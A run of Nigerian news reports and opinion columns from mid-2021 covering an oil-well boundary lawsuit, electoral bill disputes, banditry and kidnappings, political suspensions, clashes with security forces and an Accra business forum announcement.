It said it is only Rivers that is entitled to receive the full allocation of the distributable revenue from the oil well on the basis of the 1390 derivation as contained under Section 196 (2) of the 1999 Constitution.

Rivers, therefore, sought an order of mandatory injunction directing the AGF to calculate, to its satisfaction and refund to it all revenues that have been wrongly attributed or paid to Imo State on account of the limit or extent of their territories, including earnings due to it from revenue derived from Akri and Mbede oil wells.

ALSO READ: Supreme court declines jurisdiction over Bayelsa Soku oil wells suit

The plaintiff also sought an order of injunction directing the AGF to withdraw from circulation its administrative map of 10th, 11th and 12th editions and to refrain from relying on any of the said maps for the determining the boundary between both states.

Rivers also applied for another order of mandatory injunction directing the AGF to produce administrative map bearing the correct boundaries between Rivers and Imo States and N500 million as cost for the prosecution of its case.
Nigerias Senate President, Ahmad Lawan, has said the National Assembly did not manipulate the Electoral Amendment bill.

He said this during plenary on Wednesday after the Senate received the report of its committee on INEC.

His comment was in reaction to reports of moves by the lawmakers to omit and change key amendment in the Electoral bill, which were initially designed to ground the conduct of future Nigerian elections in transparency and accountability.

Alleged manipulations

PREMIUM TIMES reported how the lawmakers, in a bid to codify the final laws, were attempting to reject proposals and key priority amendments canvassed by citizens during the public hearings.

Some of these recommendations include the use of electronic transmission of results of an election and expenses for presidential candidates.

The new version of spending limit in the proposed in Section 88 of the bill now allows candidates seeking presidential office to increase their cash haul from the current N1 billion to N15 billion while governorship candidates can rake in N5 million from the hitherto N2 million.

For candidates eyeing a Senate seat they can now look to legally raising N1.5 billion from the previous Senate N40 million, while candidates to the House of Representative can now accept N500 million from the current N30 million. And for State Assembly, candidates now are free to call up N50 million from the previous N10 million.

The amended bill also strips INEC of powers to decline issuing a certificate of return to a candidate where the Returning Officer was forced to declare him or her the winner or where the Returning Officer made an announcement under duress.

Allegations not true  Lawan

Kabiru Gaya, the committee chairman, had just laid the report before the Senate when Mr Lawan seized the opportunity to ask aggrieved Nigerians to lobby the senators and canvass for their positions.

There are various accusations, insinuations that the leadership of the Senate or leadership of the National Assembly has tempered with the report of the committee on INEC of both chambers.

Some of those accusing the leadership of the National Assembly are misinformed, innocent. Some are simply mischievous and rabble-rousers, he said.

Mr Lawan also informed that the Senate was just receiving the report of the committee for the first time.

The report, he said, is the decision of the committee on INEC and whatever is discussed or considered about the bill, will be on the basis of what was presented.

If anybody feels very strongly about anything, lobby the distinguished senators to canvass your positions, rather than blackmail our leadership.

Because my phone numbers and that of the Speaker were published and in one day, I received over 900 text messages saying we have manipulated this. We didnt.

We will do what is right. We have our procedures. And lobbying is part of democracy.

The Electoral Amendment bill seeks to resolve issues concerning INECs introduction of modern technologies into the electoral process, particularly accreditation of voters, electronic voting and electronic transmission of results from polling units.

The report of the INEC committee will be considered on another legislative day.

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And unless a last minute change has been done, the new Electoral Amendment bill will be passed but hopes of key electoral reforms in subsequent elections will be lost.

After passage, the bill will be funnelled to state assemblies, upon which it will become a new law of the land.
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Lagos-headquartered FCMB Group PLC says Adam Nuru, the immediate past managing director of the bank who became enmeshed in an alleged paternity scandal month ago, did not breach its policies.

The board had earlier reviewed media allegations made in late 2020 against the former MD and did not establish any contravention of its policies, the financial services group said in a statement Tuesday.

Mr Nuru exited the bank this week four years into a term that ordinarily should last five. The board says Mr Nuru left at the end of service, but did not give details of its findings or why he left ahead of time.

The FCMB Group hierarchy announced its first female Managing Director Yemisi Edun, who has been in acting capacity for months.

Mrs Edun, a former executive director and chief financial officer of the bank, took over tentatively in January to allow a formal inquiry into the allegations against Mr Nuru.

The probe was launched following allegations that Mr Nuru had been involved in a romantic affair with a married employee of the bank, Moyo Thomas, who later left the bank.

Nearly 10,000 people petitioned the bank and the Central Bank of Nigeria demanding Mr Nurus removal after reports said the womans estranged husband died in December 2020 after realising their two children were not his.

Mrs Moyo denied informing her husband the children were not his, describing the allegation as malicious. She did not comment on the alleged affair.

Dedicated service

In its statement, the FCMB board thanked Mr Nuru for his years of dedicated service.

A source at the FCMB told PREMIUM TIMES it was clear the bank had taken steps to manage a controversial case as the bank normally would allow an MD to serve out a term of five years or even twice that.

Ideally, if his tenure has expired, there is usually room for extension. The maximum you can spend there is 10 years. He just spent four, the source said, asking not to be named as he was not authorised to speak to the media.

Mr Nuru took over FCMBs helms in March 2017 after the retirement of Ladi Balogun, who spent 10 years as the lenders head.
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Two Nigerian soldiers were on Tuesday shot dead in Enugu, Nigerias South-east, the Nigerian Army has said.

The spokesperson of the army, Onyema Nwachukwu, said in a statement on Wednesday that the two were killed during a gun battle between troops and some members of the Eastern Security Network (ESN), the security arm of the pro-Biafra group, (IPOB).

Mr Nwachukwu, a brigadier general, said the incident took place at Adani community in Uzo-Uwani Local Government Area of Enugu State.

He said members of the ESN attacked troops positions at Iggah/Asaba checkpoint on Tuesday, leading to a gun battle.

Troops deployed to checkmate activities of gunmen at Adani community in Uzo-Uwani Local Government Area of Enugu State repelled ESN gun attack at Iggah/Asaba checkpoint on Tuesday.

Sadly, during the fire fight that ensued, two soldiers paid the supreme price.

Troops are currently on the trail of the criminals, he stated.

Mr Nwachukwu assured the public of Nigerian Armys commitment to provide adequate security in collaboration with other security agencies.

We also urge members of the public to complement the efforts of security agencies by remaining law-abiding and by providing useful information on the fleeing gunmen, he added.

ALSO READ: How gunmen killed two soldiers at security checkpoint in Ebonyi

The killing of the soldiers indicates that the security challenges in the South-east may be far from over.

The region in the recent past had witnessed deadly attacks on security agencies and public facilities like the courtrooms, prisons, and the offices of the Independent National Electoral Commission.

IPOB, which has been proscribed by the Nigerian government, had repeatedly denied its involvement in the killings in the region.

IPOB leader, Nnamdi Kanu was recently intercepted in Kenya and brought back to Nigeria to face treason trial after had jumped bail and fled Nigeria in 2017.

(NAN)
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how will electricity generation be tripled in the next ten years? How many local governments will be self-sufficient in power generation as a result of distributed power production that will therefore attract the best and brightest to itself? How will infrastructure development companies be developed locally to challenge the tertiary institutions to supply more able products?

It is pertinent at this time in our history and national underdevelopment to ponder about a few things. Nigeria, to some, a geographical expression; to others, the indivisible nation to which we must pledge allegiance, like it or not, is once again at crossroads. Crossroads, for many great peoples and nations, are often events or periods of great national calamity that cause peoples to reimagine their future. Great peoples such as Indians and the Chinese, which were humiliated by decades, if not centuries, of domination by Western powers, reached their crossroads in the middle of the 20th Century. Chairman Mao had then asked himself: In this vast land, who rules the destiny of man? With a strong determination, he embarked on his long march, closed his country to foreigners for another half century, taught self-reliance, educated his people, and organised his country until his grandchildren, capitalising on the structures he created, are now a giving the same Western powers nightmares, while teaching them lessons in human capital and social development. It is an ongoing story.

India, another great nation that had been humiliated, is not too far behind. Its own was a completely different methodology. When Nehru created the Indian Institutes of Technology around the mid-20th century, he may not have imagined that his actions would lead to the near dominant stranglehold that later Indian generations would have on the worldwide tech industry, particularly in our time. India has seven companies among the worlds largest 500 companies, according to Forbes Fortune 500. While India is not known for being an oil rich nation, the combined revenues of Indian oil companies is as large as half the revenues of the larg,est oil companies in the world! At the end of the Korean war, South Korea was devastated, hungry and desolate. Helpful Western charities kept orphanages for many homeless children. In fact, up to the early 1970s, South Koreas electricity production capacity was lower than that of Nigeria! Today, they are not only producing 50 times per capita the Nigerian production, they are also manufacturing semiconductors, consumer electronics products, cars, and trucks, in addition to their historical world leadership in heavy industries including ship building! The return of the so-called losers of the Second World War, whose cities were flattened by bombs, into economic winners in its aftermath, is another case in point of what successful nations do when they are at crossroads.

Wrong Questions

Beginning from organisations such as Movement for the Actualization of the Sovereign State of Biafra (MASSOB), Indigenous People of Biafra (IPOB) and movements for the Yoruba nation, centrifugal forces have been unleashed via the ineptitude and nepotism of the Buhari government, in an atmosphere of conspiracy theories about the intentions of the Fulani nation that, despite their minority status, have long dominated Nigerias politics. The land needs healing from the banditry, kidnappings and killings attributed to the herdsmen of Fulani stock, Boko Haram and ISWAP all over the country. Brave Governor Ortom has been shouting from the Benue and others have simply had enough and are ready to break the nation into smaller pieces. How these will all end requires a prophet to tell us  not the kinds of prophets that Nigeria is famous for  Horoscope prophets, living and dead!

While uncertainty pervades the air, unelected Deputy President Garba Shehu has been doing what he does best: thrown a little more fuel into the raging fire by making pronouncements, insolent to be charitable, idiotic to be accurate, on the reason why it was necessary to attack Igbohos house, in looking for arms, while ignoring the people that routinely kidnap Northern children and take ransom money from hapless travelers nationwide! The professionalism of the boastful DSS operators remain AWOL when it is needed to confront the Boko Haram/ISWAP alliance that have recently held elections in Borno State, now having its own governor and other paraphernalia of office! That is where Nigeria finds itself in 2021! And, of course, the situation makes people to ask questions.

Channels Television had two contrasting guests last week: Dr Hakeem Baba-Ahmed, a Fulani former Secretary of the Independent National Electoral Commission (INEC) and a vociferous Southern stalwart in Dr Katch Onanuju. The questions they were asked and the issues that appear to concern many in Nigeria are not about electricity, roads or jobs, but such like where the next president should come from in 2023! First of all, listening to Baba-Ahmed, I wonder, given that such articulate Fulani people exist in this country, why it is that the ones who actually get to be president have to sometimes have their WAEC certificates presented to them after they have become head of state? If we must have a Fulani president, give me Baba-Ahmed and replace all else we have had in this land!

The truth is that Baba-Ahmed, cleverly advancing the Fulani agenda, asked the correct question! What is a Southern president supposed to do? (Baba-Ahmed did not ask this question about the Northern presidency in 2015.) Are we going to have a Southern equivalent of Buhari? A president who will further alienate the North?

Of course, he did his best to feign ignorance of the attitude of Northerners in demanding the presidency after Jonathan; such is the subterfuge that pervades the national discourse in Nigeria. Asking for the ethnicity of the next president, unfortunately, is the wrong question in an era of secessionist agitations, large scale insecurity, stagflation and poverty, unemployment, absence of social infrastructure and general despondency. Baba-Ahmed asked what the demand for a Southern president would achieve. A journalist drew his attention to the fact that he did not ask the same question when the Fulani irredentist, Professor Ango Abdulahi, made the same demands in 2015. Baba-Ahmed masterfully dodged the question!

The truth is that Baba-Ahmed, cleverly advancing the Fulani agenda, asked the correct question! What is a Southern president supposed to do? (Baba-Ahmed did not ask this question about the Northern presidency in 2015.) Are we going to have a Southern equivalent of Buhari? A president who will further alienate the North? Is it supposed to be a temporary opiate for the South till another version of Buhari comes again, with his own man-Friday like Garba Shehu? Suppose there is agreement for a Southerner to succeed Buhari, will that trim the wings of the forces of secession already in full flight? What happens if A Yoruba man becomes the president in 2023? Will that stop Nnamdi Kanu from calling Nigeria a zoo, making him and some fellow Biafrans zookeepers the only humans in this land? Suppose we have an Igbo president, will that assuage the following of Sunday Igboho that believes that nothing short of an Oduduwa Republic will be needed to stop the humiliation of Yoruba people, whose potentials have been curtailed by the heavy load of belonging to an unworkable contraption called Nigeria? Will such a president be able to mobilise Northerners against the Boko-Haram/ISWAP alternative governments that only slowed down a little when, Buhari, their spokesperson, was made President? Can the agreement for a Southern president create an atmosphere to begin to develop Nigeria?

Right Questions

I have little optimism that the present regime will end well. I pray to God that I be proved wrong, while trembling at the fact that I may be right! That will be a shame because we shall all pay for the errors committed by Buhari and his government, one way or another. We have started paying for these, in fact. We pay in hard cash at the market where the most basic food item is becoming difficult, if not impossible, for the average family to buy; we pay in ransom to Fulani herdsmen in the bushes around the highways; in the payments by various governments and individuals to retrieve kidnapped schoolchildren; in the disruption of society by social mobilisations for secessionist movements; in midnight visits of professional DSS operatives who win their successes in unarmed civilian neighbourhoods, where they can kill and suffer no concomitant casualties; in the exportation of privileged youth whose parents despair about a future for their children and therefore package them overseas to start afresh in new lands where they will need another two generations to fully belong; in many other ways.

It is not likely that these will be our last payments. If we are not careful, the success or failure of the secessionist movements may easily place us in the same position as Southern Sudan. Divide Nigeria to any number of parts you want, the border of the new entities will be drawn by blood. And that will be our blood. Perhaps that will be necessary, for what is the need to live a useless life when there is a good death to die? Perhaps, after such bloodletting, another set of peoples will emerge who will allow the different peoples here to reach their potentials. They may look back and thank us for shedding blood when it was necessary to give them a sense of purpose and a bright future.

Instead of asking where the next president will come from, let us first of all ask: President of what? Will there be a Nigeria to preside over or, if you like, rule, as Information Minister Lai Mohammed informed us? How will such an entity, if it survives, generate the competition among its constituent elements to create better schools?

The question we need to ask ourselves at this time is: Whither Nigeria? Today, there is no corporate entity in the whole of Africa in the Fortune 500 wealthy companies worldwide! Not even South Africa nor Egypt has an entry! Nigerians like to ask those of us in the universities how we rank compared to the rest of the world. Wrong question! Universities in Nigeria exist in an ambience, a system and an environment! How do the roads in Nigeria rank? How do the motor parks in Nigeria rank? How does the garbage collection system in Nigeria rank? The danfo vans? The public toilets? The Police Stations? The hospitals? The courtrooms? The two-bedroom flats in major and minor cities? The hygiene of the food service? These are the corresponding questions that help to situate the answers you get. They are related!

Instead of asking where the next president will come from, let us first of all ask: President of what? Will there be a Nigeria to preside over or, if you like, rule, as Information Minister Lai Mohammed informed us? How will such an entity, if it survives, generate the competition among its constituent elements to create better schools, more efficient industries and fairer social justice that will unleash the creative potentials of its citizens?

If we break it down, we may ask, how will electricity generation be tripled in the next ten years? How many local governments will be self-sufficient in power generation as a result of distributed power production that will therefore attract the best and brightest to itself? How will infrastructure development companies be developed locally to challenge the tertiary institutions to supply more able products? How do we begin to measure the cost and quantity of contracts awarded in Nigeria to similar ones overseas and keep costs down to the level of our labour costs, so as to gain an advantage and build more things? How can we produce more doctors to the extent that they not only keep us healthy but also create a health tourism system attracting inhabitants of our region here? How do we make it more attractive to develop local environments, instead of always reaching for the sharing bazaars in Abuja?

More than all this, what do we need to do today so that inhabitants of this space, 100 years from now, will consider us as worthy forbears that took them into consideration when planning at the crossroads?

Omotayo Fakinlede is with the University of Lagos, Nigeria.
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No doubt, banditry is a nationwide malaise, but for states of the North like Kaduna, Katsina, Zamfara and Niger, the statistics are bemusing. In addition to the intractable insurgency war with Boko Haram and ISIS/ISWAP, the North is now a huge jungle where life is practically brutish. The thought of the kidnap of women (and young ladies in particular) always depresses me like no other

The Emir of Kajuru, Malam Hassan Adamu was kidnapped with 13 members of his family and two other people, among them women, at the weekend. The emir however regained his freedom about 24 hours after, perhaps to go get money for ransom, or security personnel were at their best, who knows. This is a further confirmation that Kaduna now has an unenviable position as the epicentre of banditry in Nigeria.

No doubt, banditry is a nationwide malaise, but for states of the North like Kaduna, Katsina, Zamfara and Niger, the statistics are bemusing. In addition to the intractable insurgency war with Boko Haram and ISIS/ISWAP, the North is now a huge jungle where life is practically brutish. The thought of the kidnap of women (and young ladies in particular) always depresses me like no other, for the simple fact that those animals called bandits, most often, violate the opposite sex.

The number of people who have been taken away within the last one month from Kaduna and environs makes one wonder if Nigeria has become Somalia or Sudan of yore.

Shortly after the students of Greenfield University were released  some were killed and ransom paid on the rest, kidnappers have become even more brazen and daring, may be because of Governor Nasir El-Rufais recalcitrant stance not to negotiate with or pay ransom to them. This has left the residents, who sometimes have to sell valuables to pay ransom, more vulnerable. Then came the abduction of 121 students from Bethel Baptist High School in Kaduna again. Not that anywhere is safe anyway, Kadunas happens to be more frequent in-between.

Last weekends attack on a whole Kajuru community, just 30 kilometres away from Kaduna town, was a new dimension, with the abduction of the Emir and 13 members of his family, and also a confirmation that nowhere is too secure for the bandits, while the business is no longer about the downtrodden and wretched of the earth. It is not even about the rich alone and you dont have to be on a journey before you become a victim. Like the emir, anybody can be whisked away from the comfort of his home, with all the body guards or security aides.

The national outlook as far as abduction is concerned is grim and scary. According to the Nigeria Security Tracker, there have been 5,800 deaths, and 2,943 of these occured between January and June. The figure does not include Bethel and Kajuru and the 39 people who were killed in Zamfara State last weekend.

Those in the know said the bandits operated for about two hours in Kajuru, not too far from a police station or the Strike Force, which is also a stones throw away from the emirs palace. I cant blame the security operatives who are now clearly overwhelmed. What can 10 to 20 soldiers do when confronted by over 100 AK-47 wielding bandits. At the ground zero level we are today, no one should expect any heroic exploits from our security men. They can at best die in vain, and their families will be in want and misery, going by antecedents.

The Kajuru case is the eighth high profile kidnapping across Northern Nigeria starting from December 11, 2020, when Government Science Secondary, Kankara, Katsina State came under attack and 300 students were kidnapped; February 27, when Government Secondary, Kagara in Niger State had its share of the attacks, ending with 50 of their students being abducted; March 2, when Girls Secondary School, Jengebe in Zamfara State suffered the same fate, leading about 100 girls to be commandeered out of their boarding school. March witnessed another attack when 30 Greenfield University students were kidnapped; on March 15, it was the turn of College of Forestry Mechanisation, Kaduna, where about 100 students suffered the same fate of abduction; May 30, when Salihu Tanko Islamic School had some 100 youngsters taken away, and who are still in captivity; also on June 11, eight students of Nuhu Bamali Polytechnic were abducted, while one was killed. Yet, there are more isolated cases of kidnapping across Nigeria than the schools kidnap saga.

The national outlook as far as abduction is concerned is grim and scary. According to the Nigeria Security Tracker, there have been 5,800 deaths, and 2,943 of these occured between January and June. The figure does not include Bethel and Kajuru and the 39 people who were killed in Zamfara State last weekend. The reported cases go thus: North West  1,405; North Central  942; North East  210; South South  140; South West  169; South East  77; Northern Nigeria  2,557; and Southern Nigeria  386, making a total of 2,943 abductees in 181 days, at the average of 16 per day. The 12 states with the most numbers of deaths are: Borno  1,137; Zamfara  862; Kaduna  715; Benue  449; Niger  407; Ebonyi  210; Katsina  164; Imo  153; Kebbi  144; Yobe  137; Oyo  114, and Anambra  109, while the states with most abductees are: Niger  795; Zamfara  523; Kaduna  479; Katsina  289; Borno  115; Kebbi  103; Oyo  63; Delta  55; Taraba  55; FCT  52; Edo  37.

Is it still a surprise therefore that Nigeria is classified as the third most terrorised country in the world? Banditry has become so audacious and ubiquitous that there are no impregnable fortresses in the country. For all of us, it is no longer a question of how, but when it will be our turn. Take, for example, the ABUTH, Milgona-Shika, Zaria case, where they attacked one Mrs Jummai Suleiman, a clinical psychologist in the hospitals Department of Psychiatry. The bandits made a hole in her fence, made their way into her home, and abducted her and her three kids, aged between 10 and 4 years, on Monday night. Or is it the case in Okene, Kogi State where a community rallied against kidnappers, trying to stop them from taking away their member, but were soon overpowered by the firepower of the bandits. The bandits had their way, left one dead and others injured, and still went away with their victim.

The logical thing is to curb the sources and supply chain of the weapons from their countries of origin, while efforts should be intensified to halt their flow from the black market, through our borders and the high seas. The last time I checked, having or holding weapons illegally is a crime. So, when did it become fashionable to brandish them openly without anyone being apprehended or punished

For the States of the North that are already backward in education, the new threat will compound an old problem and you cannot blame parents for giving up on the education of the girl-child in particular. There is virtually no solution that has not been offered on the face of the earth, as much as the president giving marching orders over and over, like a broken record. The preponderance of opinions of Nigerians is that the president is only doing the talk and not walking the talk, because his marching orders are not implementable; and they are not implementable because the bandits, in most cases, outnumber the soldiers on ground and wield more sophisticated weapons.

The logical thing is to curb the sources and supply chain of the weapons from their countries of origin, while efforts should be intensified to halt their flow from the black market, through our borders and the high seas. The last time I checked, having or holding weapons illegally is a crime. So, when did it become fashionable to brandish them openly without anyone being apprehended or punished or having those caught prosecuted? But our borders are porous and endemic corruption makes the country easy prey for anillegal arms market, besides the fact that crimes are selectively punished and laws are not enforced. Another compounding factor to the multiplication of our woes, you may say.

Banditry has become a profitable business and the monies collected find their way back to towns and into the system. It therefore means that if there is effective intelligence gathering, part of these monies can be tracked, traced and intercepted. Talking about intelligence stirs some controversies. If Nigerias intelligence agency can organise and execute to near precision, the arrest of Nnamdi Kanu from Kenya to Nigeria, without the help and knowledge of America, such praise-worthy efforts can be applied to nip the proliferation of weapons in the country in the bud. I dont want to join the conspiracy theory making the round that the bandits are pampered by government, while being high-handed in the case of Kanu and Sunday Igboho, because crime and criminality are evils, notwithstanding the person who commits the offence. But it is legitimate to raise eyebrows when the analogies are put side by side.

It has now become expedient to recruit operatives for the protection of lives and property, because at this juncture, only security and security alone matters. It should be the priority of government, because without it, nothing else can stand.

zainabokino@gmail.com
Accra is set to host the annual Africa Advancement Forum Global summit, a forum dedicated to enhancing and promoting conversations on public private Partnerships devoted to Improving Africas Economic Prosperity.

The Forum runs as an Africa focused platform that creates space for the discussion of key prospects and strategies that aims at influencing positive growth, perception, and advancement of the continent.

This year, we have carefully chosen a theme that resonates with the unique realities of the burden of governance facing Africa due to the impact of COVID 19 and other attendant Security related challenges with the theme; THE AFRICA WE WANT.

The theme will be discussed by a group of speakers and panelists with cognate experience from various sectors across the continent. This Years summit like others will attract select State actors, diplomates, development consultants and top business leaders from across the African Continent

The thematic areas are designed to elicit dialogue around the impact of COVID 19 on the African economy and the possible quick wins the government of Africa can adopt for recovery.

The AFCFTA; its attendance challenges and prospects, home grown ICT innovation and productivity; drivers of sustainable economic and social transformation in Africa, changing global perception on Africa; the role of African centric content developers, the media, civil society groups, & social entrepreneurs, finally troubleshooting terrorism and Rethinking approaches to peace building and peace keeping in Africa, these will form the major conversations at the forum.

The nominees for the 2021 African advancement Forums Global Recognition which forms part of the activities for the 2021 Africa Advancement Forum includes Top African Change makers from different parts of Africa including; Ms. Moky Makura; Executive Director of Africa No Filter, H.E Justina Mutale; Founder, Justina Mutale Foundation UK, Former President of Nigeria; Dr. Goodluck Ebele Jonathan, President of Ghana; Nana Akufo-Addo, Dr. Ibrahim Dauda; Chief Executive Officer, PVG Consult Ltd, Dr. Ngozi Okonjo-Iweala; Director General of the World Trade Organization, Sibongile Sambo; CEO, SRS Aviation, Chief Dele Momodu; Chairman Ovation Group, Mr. Anold Kingsley Ofure; MD/CEO, Kester & Sons Marine Services Ltd, Njeri Rionge; Founder & CEO ignite consulting and others.

Africa Advancement forum was birthed to contemplate and proffer solutions to the numerous challenges facing Africa through the promotion of social transformational conversations on public private partnership dedicated to the improvement of Africas economy, quality of leadership and perception globally.

While the conversations are the major focus of the forum, showcasing and celebrating the outstanding and exemplary work of individuals and organizations has become an essential pathway to reinforcing possibilities that abound on the continent.

This summit presents an opportunity to further the conversations and network around the shared values of progress, development, and advancement for our continent.

Details of event are as follows:

WELCOME/REGISTRATION OF DELEGATES

Date: 19th August 2021

Kempinski Hotel, Gold City, Accra

AFRICA ADVANCEMENT SUMMIT

Date: 20th August 2021

Venue: Accra International Conference Center

Time: 9am-2pm

Africa Investment Forum (2pm-3pm)

Diplomatic Session (3pm-4pm)

AFRICA ADVANCEMENT AWARDS

Date: 20th August 2021  Award Gala Dinner (6pm-9pm)

Kempinski Hotel, Gold City, Accra

Africa Advancement Forum is an Initiative of Foundation for Economic Advancement Advocacy, a non-governmental organization that specializes in organizing top notch events locally and internationally that seeks to map new transformations, enable ongoing dialogue, and support the search for solutions to pressing issues on the continent, as well as charting new economic possibilities for economies of nations, particularly in Africa.

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We provide safe spaces for discussion of key local and national issues with captain of industries, NGOs, the Media, Government agencies, International Organizations, Civil society groups and stake holders in the various sectors of the economy.

For participation/sponsorship kindly visit www.advancementforum.org, email info@advancementforum.org and africaadvancementforum@gmail.com or call the following numbers; +447786445714 | +2348033167827, +2347014440000 |

+ 447539079529.

Signed;

MUDIAGA AKAKABOTA LLM. Durham, Director, Global Operations, Africa Advancement Forum

DR. DAVID JAMES EGWU, MD, West Africa Region, Africa Advancement Forum.

KOFI DAKE, Country Representative, AAF Accra Ghana

NANA SARA YEBOAH, Organizing Committee Lead, AAF Accra Ghana
The only member of the opposition in the 24-member Kwara State House of Assembly, Jimoh Agboola, has been suspended over comments deemed critical of Governor AbdulRahman AbdulRazaq-led administration.

The Peoples Democratic Party (PDP) member representing Ilorin South was suspended indefinitely from attending plenaries for alleged contempt and abuse of privilege.

His suspension followed a motion moved by the House Leader, Abubakar Olawoyin, during Tuesdays plenary, drawing the assemblys attention to a radio interview granted by Mr Agboola.

During the recent interview aired on a local radio in the early hours of Tuesday, the lawmaker criticised the APC-led government for sidelining his constituency from developmental projects.

One of these is the Grassroots Development Initiative, a state prototype of the federal constituency projects. Mr Agboola claimed other lawmakers, except himself, have been mobilised to execute some projects in their various constituencies.

During the 35-minute long programme, he blamed the deplorable state of roads in Gaa-Akanbi area of Ilorin on Governor AbdulRazaqs failure to conduct local government elections, two years into office.

Also, he spoke on attempts by his colleagues in the state assembly to victimise him through exclusion from benefits, being the only opposition lawmaker.

Owing to the alleged marginalisation of his constituency, the lawmaker announced his constituents resolve to stage a protest walk on Saturday.

But Mr Olawoyin while leading the debate on the motion said; the Assembly is an institution and not an individual and as such must be respected.

He further accused Mr Agboola of making a despicable comment about the House and a move to stage a protest against the government and the House of Assembly.

Mr Agboolas call for a protest amid the grave insecurity is unsafe and could lead to chaos, the House Leader posited.

Joining the debate, another lawmaker representing Iwo/Isin constituency, Olumide Ayokunle, said the derogatory language against the House should not be condoned.

Both Messrs Olawoyin and Ayokunle urged the House to investigate the allegations against their colleague from Ilorin South.

The Speaker, Yakubu Danladi, in his response, directed the House Committee on Ethics, Privileges and Judiciary to conduct an investigation on the matter and report its findings as soon as possible.

He also directed Mr Agboola to stop attending plenary pending the conclusion of the investigation.

The suspended lawmaker, however, maintained that he is entitled to his opinion as a Nigerian and as a lawmaker.

I was saying the facts about what is happening in the state. I have not in any way incited anybody against anybody, he told PREMIUM TIMES on Tuesday evening.

According to him, the house does not have the power to deny him representation of his people.

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He vowed that the Saturday protest will hold, adding that further actions would be communicated afterwards.

Ive decided to handle the matter in a mature way, said Mr Agboola.

Mr Agboola was sworn-in into the chamber in February, nearly two years after several court judgments ordered his inauguration.

He replaced the All Progressives Congress (APC), Azeez Oluwanilo, the winner of the March 9, 2019 poll whose victory was nullified because his name was not submitted to the Independent National Electoral Commission (INEC) prior to the election date.
A chieftain of the ruling All Progressives Congress (APC) has said that any Nigerian who dares to praise President Muhammadu Buhari in public risks being stoned by Nigerians who are angry about the countrys economic woes.

This is not to say that Mr Buhari is responsible for the hardship in the country, he said.

If you say that President Buhari has done well in the marketplace and church, you may be stoned or criticised, said Andrew Uchendu, a former senator who had represented Rivers East District.

But the truth is that he (Buhari) has performed well, he added.

Mr Uchendu made the remarks in an interview with the News Agency of Nigeria (NAN) in Port Harcourt on Tuesday, shortly after his inauguration as grand patron of the Frontier for Peace and Unity, a Non-Governmental Organisation in the state.

The gullibility of the society has made it difficult for us to reason and see the truth in the tremendous milestones this administration has made.

People forget that Nigerias problems have been made complex by the failures of successive administration since 1992, which cannot be solely pinned on one government or anybody, he said.

The former senator said the current administrations heavy investments in agriculture and the ban on rice importation have resulted in tremendous growth in local rice production.

He mentioned other achievements of the administration to include reactivation of oil palm production, reactivation of ports, railways and the building of roads and bridges.

Currently, the second Niger Bridge is being constructed while the airports have been expanded and upgraded to increase commerce in the country.

Also, programmes such as Npower and Trader Moni have been created to gainfully engage unemployed citizens, he added.

He challenged Nigerians to mention one past administration that made the right policies and programmes that completely addressed the challenges in the country at the time.

He appealed to states in the South-south to realign and identify workable strategies to benefit from the federal government policies and programmes as other regions had done.

Ikalama Owadiktorusinya, the national chairperson of Frontiers for Peace and Unity, said the group was satisfied with successes of Mr Buharis administration and that they would like to partner it.

She said the group was committed to ensuring that the country would transit from one administration to another peacefully in 2023.

On his part, the groups secretary in Rivers, ThankGod Okannah, said the group appointed Mr Uchendu as patron because of his vast experience in uniting people across different backgrounds.

We are focused on talking to Nigerians on the need to be peaceful and shun divisiveness.

Besides Senator Uchendu, the Minister of Transportation, Mr Chibuike Amaechi, is also one man that can help advance governance in the country.

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So, we plan to organise seminars across the country to preach the importance of peace, especially as the nation heads towards another general election in 2023, he said.

(NAN)
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The police in Lagos say they are not aware of any killing in Lagos following a violent clash between hoodlums at the popular Ladipo market and Air Force officers on Tuesday.

Witnesses said at least three persons were killed after the air men stormed the market following an alleged assault on one of their colleagues.

Some boys beat a soldier at the market, the man called his friends that he is in trouble, a witness said.

So, the soldiers came to retaliate but when the soldiers got to the market the boys attacked them with stones and bottles which caused the clash.

The scuffle got heated and security operatives then fired gun shots to scare the miscreants and some unidentified persons were hit by stray bullets, according to witnesses.

Another witness also said one of those that died was hit by a moving vehicle while scampering for safety.

Authorities of the market locked the gate, forcing traders and their customers out of the premises.

This incident caused a traffic gridlock on Oshodi Expressway leaving many commuters stranded.

Contacted on Tuesday night, Muyiwa Adejobi, the police spokesperson, told PREMIUM TIMES in a text message response that he is not aware of any killing at Ladipo.
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Hoodlums, suspected to be members of the All Progressives Congress, on Tuesday assaulted a court bailiff in Iperu, Ikenne local government of Ogun State.

The hoodlums descended on the bailiff while the official was trying to serve a court summon on some leaders and a councillorship candidate of the APC in the community.

PREMIUM TIMES gathered that a councillorship aspirant, Muyiwa Osularu, had dragged the Vice Chairman, Caretaker Committee of Ikenne Local Government, Olaitan Efuwape, the APC, and the Ogun State Independent Electoral Commission (OGSIEC) to a High Court in Sagamu over allegations of substitution of his name.

According to Mr Osularu, after winning the primary election conducted by the party on May 20, 2021, in Iperu Ward 5, his name was substituted for Mr Efuwape, by the party leadership.

The aspirant urged the court to order the APC to forward his name to the electoral umpire as the APC councillorship candidate in Ward 5, Iperu Remo.

Upon his prayers, the court bailiff was said to have arrived Iperu with the court summons to serve same on the respondents.

He was, however, unlucky as he was physically assaulted by some yet-to-be-identified APC members loyal to the respondents.

The court bailiff sustained injuries from the attack before he was rescued.

A court bailiff, who was supposed to serve a summon against the substitution of a councillorship candidate, was beaten to a pulp by thugs alleged to belong to the camp of Governor Dapo Abiodun, a witness, who did not want to be named, told PREMIUM TIMES.

This scene occurred at Iperu area of Ogun State. He could have been killed, but was rescued by some good citizens of Ogun State.

Confirming the incident to PREMIUM TIMES, Ogun State Police Public Relations Officer, Abimbola Oyeyemi, said the victim was attacked, adding that no one has yet been arrested in connection to the incident.

The bailiff went to a place where APC members were having their campaign rally to serve the court summon on someone. I think the APC candidate is the person he wanted to serve summon on, at the venue of the rally, the spokesperson told PREMIUM TIMES Wednesday morning.

I guess thats what infuriated the party members who assaulted him. He has reported the case at Iperu division and the case is under investigation. The case has been incidented and the police are investigating it.

No arrest has been made yet because there is no way the police can go to where the rally was going on to effect an arrest. We have to wait, when they finish their rally, we are going to invite those who were involved in the assault case.
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The police in Lagos have said that a total of 1,320 miscreants and hoodlums were raided and arrested in the different parts of the state between May and July.

The Commissioner of Police, Hakeem Odumosu, said this on Thursday at a parade of crime suspects at the police command, Ikeja.

The police boss said following the security appraisal of Lagos state and intelligence gathering, the command had embarked on a constant raid of flashpoints where miscreants who terrorise innocent people and attack them in traffic are being arrested.

